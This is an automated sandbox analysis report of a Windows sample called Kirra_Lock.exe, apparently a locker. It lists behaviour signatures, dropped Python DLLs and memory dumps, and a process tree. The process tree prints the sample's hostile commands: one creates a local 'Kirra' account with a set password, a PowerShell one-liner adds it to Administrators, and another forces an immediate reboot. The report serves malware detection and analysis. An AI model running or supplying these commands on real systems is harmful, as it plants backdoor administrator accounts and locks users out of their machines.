Analysis
- user interaction
yes - max time kernel
10s - max time network
35s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
12/09/2026, 17:23
Errors
General
- Target Kirra_Lock.exe
- Size 10.5MB
- Sample260912-vyfr7a1erc
- SHA256 10a435dc50eda8a5baf7e0d8e371cbfa9f4490fb873419c5c3846afc657595e3
Malware Config
Signatures
- Loads dropped DLL 13 IoCs
- Creates a new local user account 1 TTPs 2 IoCs
Uses net.exe to create a new local user account, often for persistence or a backdoor account.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Modifies Internet Explorer settings 1 TTPs 2 IoCs
- Modifies registry class 29 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\Kirra_Lock.exe"C:\Users\Admin\AppData\Local\Temp\Kirra_Lock.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Kirra_Lock.exeC:\Users\Admin\AppData\Local\Temp\Kirra_Lock.exe2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\explorer.exeexplorer C:\Users3⤵
-
-
C:\Windows\SYSTEM32\net.exenet user Kirra l0ckedbyk1rra! /add3⤵
- Creates a new local user account
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user Kirra l0ckedbyk1rra! /add4⤵
- Creates a new local user account
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Add-LocalGroupMember -Group (Get-LocalGroup | Where-Object {$_.Sid -like \"S-1-5-32-544\"}).Name -Member \"Kirra\"""3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-LocalGroupMember -Group (Get-LocalGroup | Where-Object {$_.Sid -like \"S-1-5-32-544\"}).Name -Member \"Kirra\""4⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c shutdown /r /f /t 03⤵
- Executes a command shell one-liner
-
C:\Windows\system32\shutdown.exeshutdown /r /f /t 04⤵
-
-
-
-
C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
-
C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x4 /state0:0xa3a27855 /state1:0x41c64e6d1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k CameraMonitor1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
Kirra_Lock.dll
_imaging.pyd
_imagingmath.pyd
VCRUNTIME140.dll
_bz2.pyd
_ctypes.pyd
_decimal.pyd
_lzma.pyd
libffi-7.dll
python310.dll
pywintypes310.dll
vcruntime140_1.dll
win32gui.pyd
win32net.pyd
win32security.pyd
memory/1156-72-0x0000000003210000-0x000000000346F000-memory.dmp
memory/1632-59-0x0000022DFB200000-0x0000022DFB20A000-memory.dmp
memory/1632-57-0x0000022DFB110000-0x0000022DFB12E000-memory.dmp
memory/1632-60-0x0000022DFB230000-0x0000022DFB24E000-memory.dmp
memory/1632-58-0x0000022DFB140000-0x0000022DFB1F2000-memory.dmp
memory/1632-54-0x0000022DFB040000-0x0000022DFB062000-memory.dmp
memory/3056-49-0x00007FF7C1140000-0x00007FF7C1BE9000-memory.dmp
memory/4704-51-0x00007FF9017F0000-0x00007FF902424000-memory.dmp
memory/4704-70-0x00007FF7C1140000-0x00007FF7C1BE9000-memory.dmp
memory/4704-71-0x00007FF9017F0000-0x00007FF902424000-memory.dmp
memory/4704-50-0x00007FF7C1140000-0x00007FF7C1BE9000-memory.dmp